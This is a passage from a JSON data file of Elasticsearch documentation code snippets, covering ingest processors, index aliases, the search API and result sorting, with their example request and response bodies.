\"Hide my IP\",\n \"processors\": [\n {\n \"redact\": {\n \"field\": \"message\",\n \"patterns\": [\n \"%{IP:REDACTED}\",\n \"%{EMAILADDRESS:REDACTED}\"\n ],\n \"prefix\": \"*\",\n \"suffix\": \"*\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"message\": \"55.3.244.1 GET /index.html 15824 0.043 test@elastic.co\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":141},"digest":"5014af356370019ab75259130b38c49c","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"message\": \"*REDACTED* GET /index.html 15824 0.043 *REDACTED*\"\n },\n \"_ingest\": {\n \"timestamp\": \"2023-02-01T16:53:14.560005377Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":180},"digest":"ff27e5cddd1f58d8a8f84f807fd27eec","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"redact\": {\n \"field\": \"message\",\n \"patterns\": [\n \"%{GITHUB_NAME:GITHUB_NAME}\"\n ],\n \"pattern_definitions\": {\n \"GITHUB_NAME\": \"@%{USERNAME}\"\n }\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"message\": \"@elastic-data-management the PR is ready for review\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":211},"digest":"0344c7e2b758ef92ef785e4cdcd89aec","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"message\": \" the PR is ready for review\"\n },\n \"_ingest\": {\n \"timestamp\": \"2023-02-01T16:53:14.560005377Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/registered-domain.asciidoc","line":35},"digest":"d3d117fec34301520ccdb26332e7c98a","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"registered_domain\": {\n \"field\": \"fqdn\",\n \"target_field\": \"url\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"fqdn\": \"www.example.ac.uk\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/registered-domain.asciidoc","line":61},"digest":"37962a4f1151a79d4c1be69352bfa1ed","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n ...\n \"_source\": {\n \"fqdn\": \"www.example.ac.uk\",\n \"url\": {\n \"subdomain\": \"www\",\n \"registered_domain\": \"example.ac.uk\",\n \"top_level_domain\": \"ac.uk\",\n \"domain\": \"www.example.ac.uk\"\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/script.asciidoc","line":48},"digest":"2408020186af569a76a30eccadaed0d5","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"script\": {\n \"description\": \"Extract 'tags' from 'env' field\",\n \"lang\": \"painless\",\n \"source\": \"\"\"\n String[] envSplit = ctx['env'].splitOnToken(params['delimiter']);\n ArrayList tags = new ArrayList();\n tags.add(envSplit[params['position']].trim());\n ctx['tags'] = tags;\n \"\"\",\n \"params\": {\n \"delimiter\": \"-\",\n \"position\": 1\n }\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"env\": \"es01-prod\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/script.asciidoc","line":84},"digest":"5f4d2a0344318a330507a20ce7eff07e","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n ...\n \"_source\": {\n \"env\": \"es01-prod\",\n \"tags\": [\n \"prod\"\n ]\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/script.asciidoc","line":112},"digest":"1cea60c47d5c0e150b4c8fff4cd75ffe","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"script\": {\n \"description\": \"Set index based on `lang` field and `dataset` param\",\n \"lang\": \"painless\",\n \"source\": \"\"\"\n ctx['_index'] = ctx['lang'] + '-' + params['dataset'];\n \"\"\",\n \"params\": {\n \"dataset\": \"catalog\"\n }\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_index\": \"generic-index\",\n \"_source\": {\n \"lang\": \"fr\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/script.asciidoc","line":146},"digest":"0893dfe672f0de30595af42a31fa6987","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n ...\n \"_index\": \"fr-catalog\",\n \"_source\": {\n \"lang\": \"fr\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":39},"digest":"04d586a536061ec1045d0bb2dc3d1a5f","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/set_os\n{\n \"description\": \"sets the value of host.os.name from the field os\",\n \"processors\": [\n {\n \"set\": {\n \"field\": \"host.os.name\",\n \"value\": \"{{{os}}}\"\n }\n }\n ]\n}\n\nPOST _ingest/pipeline/set_os/_simulate\n{\n \"docs\": [\n {\n \"_source\": {\n \"os\": \"Ubuntu\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":68},"digest":"cd53a61148f6c59190a31c0c45f855bd","lang":"console-result","found":[],"source":"{\n \"docs\" : [\n {\n \"doc\" : {\n \"_index\" : \"_index\",\n \"_id\" : \"_id\",\n \"_version\" : \"-3\",\n \"_source\" : {\n \"host\" : {\n \"os\" : {\n \"name\" : \"Ubuntu\"\n }\n },\n \"os\" : \"Ubuntu\"\n },\n \"_ingest\" : {\n \"timestamp\" : \"2019-03-11T21:54:37.909224Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":96},"digest":"fb1263cfdcbb6a89b20b57004d7e0dfc","lang":"console","found":["ruby"],"source":"POST /_ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"set\": {\n \"field\": \"my_field\",\n \"value\": \"{{{input_field.1}}}\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_source\": {\n \"input_field\": [\n \"Ubuntu\",\n \"Windows\",\n \"Ventura\"\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":128},"digest":"98720fb4b352d2673e9ebce6466c09c0","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"index\",\n \"_id\": \"id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"input_field\": [\n \"Ubuntu\",\n \"Windows\",\n \"Ventura\"\n ],\n \"my_field\": \"Windows\"\n },\n \"_ingest\": {\n \"timestamp\": \"2023-05-05T16:04:16.456475214Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":157},"digest":"3d82257167e8a14a7f474848b32da128","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/set_bar\n{\n \"description\": \"sets the value of bar from the field foo\",\n \"processors\": [\n {\n \"set\": {\n \"field\": \"bar\",\n \"copy_from\": \"foo\"\n }\n }\n ]\n}\n\nPOST _ingest/pipeline/set_bar/_simulate\n{\n \"docs\": [\n {\n \"_source\": {\n \"foo\": [\"foo1\", \"foo2\"]\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/set.asciidoc","line":186},"digest":"faa24d9731f8e1f7cb67df9bae2887ba","lang":"console-result","found":[],"source":"{\n \"docs\" : [\n {\n \"doc\" : {\n \"_index\" : \"_index\",\n \"_id\" : \"_id\",\n \"_version\" : \"-3\",\n \"_source\" : {\n \"bar\": [\"foo1\", \"foo2\"],\n \"foo\": [\"foo1\", \"foo2\"]\n },\n \"_ingest\" : {\n \"timestamp\" : \"2020-09-30T12:55:17.742795Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/user-agent.asciidoc","line":31},"digest":"ec736c31f49c54e5424efa2e53b22906","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/user_agent\n{\n \"description\" : \"Add user agent information\",\n \"processors\" : [\n {\n \"user_agent\" : {\n \"field\" : \"agent\"\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=user_agent\n{\n \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\"\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/user-agent.asciidoc","line":53},"digest":"0ae2675acb08ba3593c0b732766d162a","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 22,\n \"_primary_term\": 1,\n \"_source\": {\n \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",\n \"user_agent\": {\n \"name\": \"Chrome\",\n \"original\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",\n \"version\": \"51.0.2704.103\",\n \"os\": {\n \"name\": \"Mac OS X\",\n \"version\": \"10.10.5\",\n \"full\": \"Mac OS X 10.10.5\"\n },\n \"device\" : {\n \"name\" : \"Mac\"\n }\n }\n }\n}"}, {"source_location":{"file":"alias.asciidoc","line":33},"digest":"bf3f520b47581d861e802730aaf2a519","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"logs-nginx.access-prod\",\n \"alias\": \"logs\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":52},"digest":"016f3147dae9ff2c3e831257ae470361","lang":"console","found":[],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"logs-*\",\n \"alias\": \"logs\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":74},"digest":"84465de841fe5c6099a0382f786f2cb8","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"remove\": {\n \"index\": \"logs-nginx.access-prod\",\n \"alias\": \"logs\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":102},"digest":"650a0fb27c66a790c4687267423af1da","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"remove\": {\n \"index\": \"logs-nginx.access-prod\",\n \"alias\": \"logs\"\n }\n },\n {\n \"add\": {\n \"index\": \"logs-my_app-default\",\n \"alias\": \"logs\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":135},"digest":"78e20b4cff470ed7357de1fd74bcfeb7","lang":"console","found":[],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"remove\": {\n \"index\": \"index1\",\n \"alias\": \"logs-non-existing\"\n }\n },\n {\n \"add\": {\n \"index\": \"index2\",\n \"alias\": \"logs-non-existing\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":159},"digest":"c7c9e56f89bfa7adf46675fad3581e7f","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true,\n \"errors\": true,\n \"action_results\": [\n {\n \"action\": {\n \"type\": \"remove\",\n \"indices\": [ \"index1\" ],\n \"aliases\": [ \"logs-non-existing\" ],\n },\n \"status\": 404,\n \"error\": {\n \"type\": \"aliases_not_found_exception\",\n \"reason\": \"aliases [logs-non-existing] missing\",\n \"resource.type\": \"aliases\",\n \"resource.id\": \"logs-non-existing\"\n }\n },\n {\n \"action\": {\n \"type\": \"add\",\n \"indices\": [ \"index2\" ],\n \"aliases\": [ \"logs-non-existing\" ],\n },\n \"status\": 200\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":204},"digest":"d93d52b6057a7aff3d0766ca44c505e0","lang":"console","found":["ruby"],"source":"# Component template with index aliases\nPUT _component_template/my-aliases\n{\n \"template\": {\n \"aliases\": {\n \"my-alias\": {}\n }\n }\n}\n\n# Index template with index aliases\nPUT _index_template/my-index-template\n{\n \"index_patterns\": [\n \"my-index-*\"\n ],\n \"composed_of\": [\n \"my-aliases\",\n \"my-mappings\",\n \"my-settings\"\n ],\n \"template\": {\n \"aliases\": {\n \"yet-another-alias\": {}\n }\n }\n}"}, {"source_location":{"file":"alias.asciidoc","line":240},"digest":"6ce8334def48552ba7d44025580d9105","lang":"console","found":["ruby"],"source":"# PUT \nPUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E\n{\n \"aliases\": {\n \"my-alias\": {}\n }\n}"}, {"source_location":{"file":"alias.asciidoc","line":258},"digest":"e6ccd979c34ba03007e625c6ec3e71a9","lang":"console","found":["ruby"],"source":"GET _alias"}, {"source_location":{"file":"alias.asciidoc","line":266},"digest":"a34e758e019f563d323ca90ad9fd6e3e","lang":"console","found":["ruby"],"source":"GET my-data-stream/_alias"}, {"source_location":{"file":"alias.asciidoc","line":275},"digest":"ee08328cd157d547de19b4abe867b23e","lang":"console","found":["ruby"],"source":"GET _alias/logs"}, {"source_location":{"file":"alias.asciidoc","line":289},"digest":"4301cb9d970ec65778f91ce1f438e0d5","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"logs-nginx.access-prod\",\n \"alias\": \"logs\"\n }\n },\n {\n \"add\": {\n \"index\": \"logs-my_app-default\",\n \"alias\": \"logs\",\n \"is_write_index\": true\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":327},"digest":"a9554396506888e392a1aee0ca28e6fc","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"my-index-2099.05.06-000001\",\n \"alias\": \"my-alias\",\n \"filter\": {\n \"bool\": {\n \"filter\": [\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-1d/d\",\n \"lt\": \"now/d\"\n }\n }\n },\n {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n ]\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":371},"digest":"2ee002e60bd7a38d466e5f0eb0c38946","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"my-index-2099.05.06-000001\",\n \"alias\": \"my-alias\",\n \"routing\": \"1\"\n }\n }\n ]\n}"}, {"source_location":{"file":"alias.asciidoc","line":392},"digest":"433cf45a23decdf3a096016ffaaf26ba","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"add\": {\n \"index\": \"my-index-2099.05.06-000001\",\n \"alias\": \"my-alias\",\n \"search_routing\": \"1\",\n \"index_routing\": \"2\"\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":26},"digest":"4435b654994b575ba181ea679871c78c","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":42},"digest":"db9a42ef25fca60f8f2f3b3f57fc8536","lang":"console-result","found":[],"source":"{\n \"took\": 5,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.3862942,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"kxWFcnMByiguvud1Z8vC\",\n \"_score\": 1.3862942,\n \"_source\": {\n \"@timestamp\": \"2099-11-15T14:12:12\",\n \"http\": {\n \"request\": {\n \"method\": \"get\"\n },\n \"response\": {\n \"bytes\": 1070000,\n \"status_code\": 200\n },\n \"version\": \"1.1\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"source\": {\n \"ip\": \"127.0.0.1\"\n },\n \"user\": {\n \"id\": \"kimchy\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":167},"digest":"46025fc47dfbfa410790df0dd6bdad8d","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"runtime_mappings\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\":\n \"\"\"emit(doc['@timestamp'].value.dayOfWeekEnum\n .getDisplayName(TextStyle.FULL, Locale.ROOT))\"\"\"\n }\n }\n },\n \"aggs\": {\n \"day_of_week\": {\n \"terms\": {\n \"field\": \"day_of_week\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":197},"digest":"27641ad0b4290decbcdf4b67557374bf","lang":"console-result","found":[],"source":"{\n ...\n ***\n \"aggregations\" : {\n \"day_of_week\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"Sunday\",\n \"doc_count\" : 5\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":234},"digest":"3fb2f41ad229a31ad3ae408cc50cbed5","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"timeout\": \"2s\",\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":287},"digest":"0ac9e7dd7e4acba51888256326ed5ffe","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"track_total_hits\": true,\n \"query\": {\n \"match\" : {\n \"user.id\" : \"elkbee\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":303},"digest":"1a819d4ed60e70be8e8a47bfd9314bc6","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"timed_out\": false,\n \"took\": 100,\n \"hits\": {\n \"max_score\": 1.0,\n \"total\" : {\n \"value\": 2048, <1>\n \"relation\": \"eq\" <2>\n },\n \"hits\": ...\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":332},"digest":"d66e2b4d1931bf88c72e74670156e43f","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"track_total_hits\": 100,\n \"query\": {\n \"match\": {\n \"user.id\": \"elkbee\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":352},"digest":"4ebb074ca279515decc21f2c0ecf312a","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"timed_out\": false,\n \"took\": 30,\n \"hits\": {\n \"max_score\": 1.0,\n \"total\": {\n \"value\": 42, <1>\n \"relation\": \"eq\" <2>\n },\n \"hits\": ...\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":384},"digest":"6e51155699eb785b5f7bad3a3ce44dbf","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"hits\": {\n \"max_score\": 1.0,\n \"total\": {\n \"value\": 100, <1>\n \"relation\": \"gte\" <2>\n },\n \"hits\": ...\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":406},"digest":"1302e24b0476e0e9af7a2c890edf9f62","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"track_total_hits\": false,\n \"query\": {\n \"match\": {\n \"user.id\": \"elkbee\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":422},"digest":"8519b22e360fe7b828d97061b72be5ec","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"timed_out\": false,\n \"took\": 10,\n \"hits\": { <1>\n \"max_score\": 1.0,\n \"hits\": ...\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":465},"digest":"14254a0e725044faedf9370ead76f6ce","lang":"console","found":["ruby"],"source":"GET /_search?q=user.id:elkbee&size=0&terminate_after=1"}, {"source_location":{"file":"search/search-your-data/search-api.asciidoc","line":488},"digest":"31fa804420aad7728f9ba9f20dc1a9c5","lang":"console-result","found":[],"source":"{\n \"took\": 3,\n \"timed_out\": false,\n \"terminated_early\": true,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":11},"digest":"3a6238835c7d9f51e6d91f92885fadeb","lang":"console","found":["ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"post_date\": { \"type\": \"date\" },\n \"user\": {\n \"type\": \"keyword\"\n },\n \"name\": {\n \"type\": \"keyword\"\n },\n \"age\": { \"type\": \"integer\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":30},"digest":"2bacdcb278705d944f367cfb984cf4d2","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"sort\" : [\n { \"post_date\" : {\"order\" : \"asc\", \"format\": \"strict_date_optional_time_nanos\"}},\n \"user\",\n { \"name\" : \"desc\" },\n { \"age\" : \"desc\" },\n \"_score\"\n ],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":61},"digest":"1ef5119db55a6f2b6fc0ab92f36e7f8e","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"sort\" : [\n { \"post_date\" : {\"format\": \"strict_date_optional_time_nanos\"}}\n ],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":115},"digest":"fe3a927d868cbc530e08e05964d5174a","lang":"console","found":["ruby","go"],"source":"PUT /my-index-000001/_doc/1?refresh\n{\n \"product\": \"chocolate\",\n \"price\": [20, 4]\n}\n\nPOST /_search\n{\n \"query\" : {\n \"term\" : { \"product\" : \"chocolate\" }\n },\n \"sort\" : [\n {\"price\" : {\"order\" : \"asc\", \"mode\" : \"avg\"}}\n ]\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":144},"digest":"44dfac5bc3131014e2c6bb1ebc76b33d","lang":"console","found":["ruby","go"],"source":"PUT /index_double\n{\n \"mappings\": {\n \"properties\": {\n \"field\": { \"type\": \"double\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":156},"digest":"532ddf9afdcd0b1c9c0bb331e74d8df3","lang":"console","found":["ruby","go"],"source":"PUT /index_long\n{\n \"mappings\": {\n \"properties\": {\n \"field\": { \"type\": \"long\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":175},"digest":"2891aa10ee9d474780adf94d5607f2db","lang":"console","found":["php","ruby","go","js"],"source":"POST /index_long,index_double/_search\n{\n \"sort\" : [\n {\n \"field\" : {\n \"numeric_type\" : \"double\"\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":202},"digest":"3bc872dbcdad8ff02cbaea39e7f38352","lang":"console","found":["ruby","go"],"source":"PUT /index_double\n{\n \"mappings\": {\n \"properties\": {\n \"field\": { \"type\": \"date\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":214},"digest":"69d5710bdec73041c66f21d5f96637e8","lang":"console","found":["ruby","go"],"source":"PUT /index_long\n{\n \"mappings\": {\n \"properties\": {\n \"field\": { \"type\": \"date_nanos\" }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":233},"digest":"5f3549ac7fee94682ca0d7439eebdd2a","lang":"console","found":["php","go","js"],"source":"POST /index_long,index_double/_search\n{\n \"sort\" : [\n {\n \"field\" : {\n \"numeric_type\" : \"date_nanos\"\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":286},"digest":"de139866a220124360e5e27d1a736ea4","lang":"console","found":["php","ruby","go","js"],"source":"POST /_search\n{\n \"query\" : {\n \"term\" : { \"product\" : \"chocolate\" }\n },\n \"sort\" : [\n {\n \"offer.price\" : {\n \"mode\" : \"avg\",\n \"order\" : \"asc\",\n \"nested\": {\n \"path\": \"offer\",\n \"filter\": {\n \"term\" : { \"offer.color\" : \"blue\" }\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":313},"digest":"22334f4b24bb8977d3e1bf2ffdc29d3f","lang":"console","found":["php","go","js"],"source":"POST /_search\n{\n \"query\": {\n \"nested\": {\n \"path\": \"parent\",\n \"query\": {\n \"bool\": {\n \"must\": {\"range\": {\"parent.age\": {\"gte\": 21}}},\n \"filter\": {\n \"nested\": {\n \"path\": \"parent.child\",\n \"query\": {\"match\": {\"parent.child.name\": \"matt\"}}\n }\n }\n }\n }\n }\n },\n \"sort\" : [\n {\n \"parent.child.age\" : {\n \"mode\" : \"min\",\n \"order\" : \"asc\",\n \"nested\": {\n \"path\": \"parent\",\n \"filter\": {\n \"range\": {\"parent.age\": {\"gte\": 21}}\n },\n \"nested\": {\n \"path\": \"parent.child\",\n \"filter\": {\n \"match\": {\"parent.child.name\": \"matt\"}\n }\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":370},"digest":"b607eea422295a3e9acd75f9ed1c8cb7","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\" : [\n { \"price\" : {\"missing\" : \"_last\"} }\n ],\n \"query\" : {\n \"term\" : { \"product\" : \"chocolate\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":395},"digest":"0bcd380315ef4691b8c79df6ca53a85f","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\" : [\n { \"price\" : {\"unmapped_type\" : \"long\"} }\n ],\n \"query\" : {\n \"term\" : { \"product\" : \"chocolate\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":418},"digest":"fbb38243221c8fb311660616e3add9ce","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\" : [\n {\n \"_geo_distance\" : {\n \"pin.location\" : [-70, 40],\n \"order\" : \"asc\",\n \"unit\" : \"km\",\n \"mode\" : \"min\",\n \"distance_type\" : \"arc\",\n \"ignore_unmapped\": true\n }\n }\n ],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":472},"digest":"edae616e1244babf6032aecc6aaaf836","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\" : [\n {\n \"_geo_distance\" : {\n \"pin.location\" : {\n \"lat\" : 40,\n \"lon\" : -70\n },\n \"order\" : \"asc\",\n \"unit\" : \"km\"\n }\n }\n ],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":499},"digest":"ed5c3b45e8de912faba44507d827eb93","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"sort\": [\n {\n \"_geo_distance\": {\n \"pin.location\": \"POINT (-70 40)\",\n \"order\": \"asc\",\n \"unit\": \"km\"\n }\n }\n ],\n \"query\": {\n \"term\": { \"user\": \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":521},"digest":"9beb260834f8cfb240f6308950dbb9c2","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\": [\n {\n \"_geo_distance\": {\n \"pin.location\": \"drm3btev3e86\",\n \"order\": \"asc\",\n \"unit\": \"km\"\n }\n }\n ],\n \"query\": {\n \"term\": { \"user\": \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":546},"digest":"aee4734ee63dbbbd12a21ee886f7a829","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\": [\n {\n \"_geo_distance\": {\n \"pin.location\": [ -70, 40 ],\n \"order\": \"asc\",\n \"unit\": \"km\"\n }\n }\n ],\n \"query\": {\n \"term\": { \"user\": \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":570},"digest":"0f2e5e006b663a88ee99b130ab1b4844","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"sort\": [\n {\n \"_geo_distance\": {\n \"pin.location\": [ [ -70, 40 ], [ -71, 42 ] ],\n \"order\": \"asc\",\n \"unit\": \"km\"\n }\n }\n ],\n \"query\": {\n \"term\": { \"user\": \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":600},"digest":"666c420fe61fa122386da3c356a64943","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"term\": { \"user\": \"kimchy\" }\n },\n \"sort\": {\n \"_script\": {\n \"type\": \"number\",\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"doc['field_name'].value * params.factor\",\n \"params\": {\n \"factor\": 1.1\n }\n },\n \"order\": \"asc\"\n }\n }\n}"}, 